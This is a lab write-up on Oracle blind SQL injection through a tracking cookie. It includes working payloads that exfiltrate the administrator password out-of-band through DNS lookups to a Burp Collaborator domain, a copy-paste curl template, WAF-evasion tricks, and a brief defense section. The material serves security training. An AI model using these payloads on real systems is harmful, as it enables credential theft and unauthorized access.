Blind SQL injection with out-of-band data exfiltration rewritten

🎯 Objective

Exploit a blind SQL injection in a tracking cookie to trigger out‑of‑band (OOB) DNS lookups from the database (Oracle), recover the administrator password from the users table, and log in.

🧩 What I’m analyzing

• Vuln type: Blind SQLi (no in‑band indicators)
• Vector: Tracking cookie (TrackingId)
• DBMS: Oracle (confirmed from prior labs & Oracle‑specific functions)
• Exfil technique: OOB via XML using EXTRACTVALUE + XMLTYPE with a malicious DTD that forces a DNS lookup to Burp Collaborator.
• Goal: Extract the password of user administrator in table users(username,password).

🗺️ High‑level plan

1. Confirm injection point in cookie and that responses are unaffected (true blind behavior).
2. Switch to OOB exfiltration: craft XML external entity payload that references a remote DTD via a URL embedding our data (e.g., the password).
3. Use Burp Collaborator (or similar) to capture the outbound DNS lookup; the subdomain contains the leaked data.
4. Parse the hit to read the admin password.
5. Log in as administrator and finish the lab.

🔎 Recon & Setup

• Open Burp → Collaborator client → Copy your unique domain.
• Intercept a request that sets/sends the TrackingId= cookie.
• Because the query runs asynchronously and doesn’t affect the HTTP response, time‑based or content‑based checks won’t help; use OOB.

Tip: If a WAF blocks obvious SQLi characters, obfuscate via encoders (e.g., Hackvertor) or adjust quoting/whitespace/comments.

🧪 Payloads Tried (Oracle)

1) Initial attempt (failed)

'||(SELECT EXTRACTVALUE(XMLTYPE('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password WHERE username='administrator')||'.YOUR-COLLAB-DOMAIN/"> %remote;]>'),'/l') FROM dual)--

Issue: Incomplete SELECT and quoting inconsistencies.

2) Working variant (success)

' UNION SELECT EXTRACTVALUE(XMLTYPE('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username=''administrator'')||'.YOUR-COLLAB-DOMAIN/"> %remote;]>'),'/l') FROM dual-- 

• Uses a UNION SELECT to force evaluation of the XML.
• The URL host becomes: http://<leaked_password>.YOUR-COLLAB-DOMAIN/
• When Oracle resolves that URL, DNS query leaks <leaked_password> to Collaborator.

Encode safely when needed (URL‑encode inner quotes/whitespace). Hackvertor’s XML entity helpers are handy here.

🧰 Using Burp Collaborator

1. Send a request with the crafted TrackingId cookie.
2. In the Collaborator client, click Poll now.
3. You should see DNS/HTTP interactions. The subdomain label contains the admin password.
   • Example hit: n5c2f...<admin_password>... .hsd458x5yf7aoopqwwgzdb41mssmgb.burpcollaborator.net

Screenshots (from the run)

📎 Copy‑paste crib

Template (replace YOUR-COLLAB-DOMAIN)

TrackingId=' UNION SELECT EXTRACTVALUE(XMLTYPE('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username=''administrator'')||'.YOUR-COLLAB-DOMAIN/"> %remote;]>'),'/l') FROM dual-- 

cURL example (cookie injection)

curl 'https://TARGET/'   -H "Cookie: TrackingId=' UNION SELECT EXTRACTVALUE(XMLTYPE('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username=''administrator'')||'.YOUR-COLLAB-DOMAIN/"> %remote;]>'),'/l') FROM dual-- ; session=YOURSESS"   -k -s -D - -o /dev/null
# Then poll Collaborator for DNS hits

If WAF blocks obvious patterns

• Use Hackvertor encoders for quotes & XML attributes.
• Break keywords with comments: UN/**/ION SEL/**/ECT (works on some filters).
• Try case/whitespace variations.

🧵 Why this works (Oracle specifics)

• XMLTYPE('<xml>...') constructs an XML value.
• EXTRACTVALUE(xml,'/l') forces the XML parser to process the DTD.
• The DTD defines an external parameter entity %remote whose value is a URL containing the SQL subselect result (the password).
• The parser resolves that external entity → DNS/HTTP to Collaborator → exfiltrates data OOB.

Note: Oracle deprecated EXTRACTVALUE in later versions, but it remains widely present in labs/legacy; alternatives like DBMS_XMLGEN/UTL_HTTP also exist.

🧱 Troubleshooting

• No Collaborator hits: confirm outbound DNS/HTTP is allowed from DB host; try shorter labels or split exfil (hash/base32 chunks).
• WAF blocks: URL‑encode & use XML entity encoders; vary comment/case; embed via UNION vs. stacked (stacked queries often blocked).
• Quote hell: double single‑quotes inside SQL strings; then escape again for HTTP context.
• Wrong DB: this approach is Oracle‑specific. For other DBs, use their XML/HTTP primitives.

🔒 Defense (blue team)

• Parametrize queries; never concatenate cookie values into SQL.
• Block egress DNS/HTTP to untrusted domains from DB servers; enforce proxy/allow‑lists.
• Monitor for XML parser usage in the DB and unusual EXTRACTVALUE/XMLTYPE patterns.
• Web tier: WAFs help but don’t replace proper input handling; log and alert on anomalous cookies.

✅ Result

• Crafted an Oracle OOB payload in the TrackingId cookie.
• Captured the outbound DNS lookup in Burp Collaborator with the admin password embedded in the subdomain.
• Logged in as administrator to complete the lab.